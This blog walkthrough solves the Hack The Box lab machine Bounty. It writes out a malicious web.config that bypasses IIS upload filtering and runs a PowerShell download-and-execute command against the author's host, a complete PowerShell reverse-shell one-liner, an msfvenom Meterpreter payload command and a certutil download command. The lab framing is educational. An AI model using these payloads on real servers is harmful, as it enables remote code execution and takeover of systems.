Introduction:

This week’s retiring machine is Bounty, which is a beginner-friendly box that can still teach a few new tricks. Bounty is rated 4.8/10, which I feel is pretty appropriate given the overall ease of the machine. In this walkthrough, we’ll do a little bit of dirbusting, learn a nifty trick to gain remote code execution (RCE) on a web upload, generate some malware, and take advantage of Meterpreter’s local_exploit_suggester. Let’s get started!

Nmap Scan:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-05 09:15 EDT Nmap scan report for 10.10.10.93 Host is up (0.046s latency). Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Bounty Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%) OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012 Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 47.87 ms 10.10.14.1 2 47.96 ms 10.10.10.93 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 101.91 seconds

Similar to last week’s retired machine, TartarSauce, Bounty only provides us with an open port of 80. As I have mentioned previously, this indicates that we are looking at some sort of web exploit here or there are hidden ports (think port knocking)/UDP ports. Given that the box is rated 4.8/10, it’s likely that we are looking at a relatively simple web exploit. First, let’s navigate to the site on port 80:

We’re presented with a picture of Merlin from Disney’s The Sword in the Stone. The source code reveals next to nothing and I see no additional directories in the nmap scan or source code. That means, it’s dirbusting time!

I booted up dirbuster by typing in dirbuster into a terminal and hitting enter. This will bring up a nice GUI for us. Keep in mind that the site is running IIS per the nmap scan. This means, we should set our search parameters to asp, aspx, asm, asmx file types. I typically like to use a medium word list that comes with Kali and set my threads to 200 (by checking “Go Faster”). Here is a picture of my settings:

Here are the results:

As you can see, we found a transfer.aspx web page along with an uploadedfiles directory. My immediate guess is that we’re going to be uploading a file and calling it from the uploaded files directory, but let’s take a look at the transfer.aspx page before we get ahead of ourselves:

Okay, so it looks like we have an upload page. Given that this is an IIS server, my first thought is to try and upload some sort of asp/aspx reverse shell. This fails miserably as this file extension is blocked. So, how can we get a reverse shell on an IIS server if we cannot use the proper extension? A web.config file is how!

Earlier this year, a blog was posted on the topic of uploading a web.config to bypass extension blacklisting. The post can be found here: https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/

Using the information found in the blog above, we can craft our own exploit as such:

<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <% Set s = CreateObject("WScript.Shell") Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.2:80/ex.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>

All that I have changed in the above exploit is the command being executed as well as little bit of cleanup for some excessive variables being run. In this instance, I have decided to use a Powershell download command that will download and execute a file we specify. All this means is that we need to host a reverse shell via a web server. My IP address is 10.10.14.2, the port I’ll be using is 80, and the name of my exploit is “ex.ps1”.

Before we spin up the web server, we need a file to host. I will be using a Powershell reverse shell. If we Google that, we come across this site, which has a nice one liner: https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3. Here is what my reverse shell looked like:

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.2",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

All you really need to understand here is that the victim will be connecting back to our machine (10.10.14.2) on port 4444. Which means we also need to set up a netcat listener on 4444 with the syntax nc -nvlp 4444:

Now, we can run our web server (in the same directory as our ex.ps1 file is being hosted) using python -m SimpleHTTPServer 80:

Now, let’s upload the file. You should see a “File uploaded successully.” message:

Once we’ve done this, we can navigate to: http://10.10.10.93/UploadedFiles/web.config which should spawn a shell for us:

A quick whoami shows that we are running as the user Merlin. A brief dir of the Merlin user desktop provides no user.txt flag, but it could be hidden. To show hidden files with Powershell, we just add -Force on to the command as such:

We now have our user flag! On to root….

The present Powershell reverse shell we are working with is okay. However, I like a nice Meterpreter shell if possible. There’s just a ton of flexibility if we can use a Meterpreter shell. To do this, we can generate some simple malware using msfvenom. Here is the command I ran:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=5555 –platform win -a x64 -f exe > 1.exe

Let’s break it down really quick. We’re using a 64-bit Meterpreter payload for Windows. We’re declaring LHOST (our IP) and LPORT (we use 5555 here as 4444 is already in use by us). While not necessary, I also like to declare the platform of Windows and the architecture as x64, but this will be picked up typically by default per the payload we are using. Lastly, I specify a file type of exe and store it all into a file named “1.exe”. It will complete as such:

I made sure to run this command in the same folder that I am hosting my web server from. Once the malware is generated, we can use a tool built into the majority of Windows machines called certutil. The command I use to do this is: certutil -urlcache -f http://10.10.14.2/1.exe 1.exe

Finally, to complete the migration over to a Meterpreter shell, we need to run the exploit/multi/handler module in msfconsole. The set up looks like this:

Now, we can execute our malware on the system by typing in ./1.exe which should provide us with a Meterpreter session:

WOO! Now, one of the first things I always try is getsystem because you never know. Of course, that did not work. However, Metasploit has a great privesc script that we can run and see if the system is vulnerable. The command, from the Meterpreter shell, is: run post/multi/recon/local_exploit_suggester

The command does just what it sounds like: finds potential exploits available on the box that we can use to escalate privileges. Let’s have a look at the results:

Let’s give the first one a try, shall we? Here’s what that looks like:

Here are the results:

As you can see, we get a nice SYSTEM shell. The local_exploit_suggester God has worked in our favor this time. I will note that it may take a few attempts for the exploit to actually work. I’ve seen it work on the first try and on the fifth try. Be patient if you’re following along. It is the correct exploit.

Overall, I really enjoyed this box. The web.config RCE is a relatively new exploit, so good job to the creators for implementing that. Until next time…

Wanna chat? Add me on Twitter, YouTube or LinkedIn!

Veteran? Join our Slack!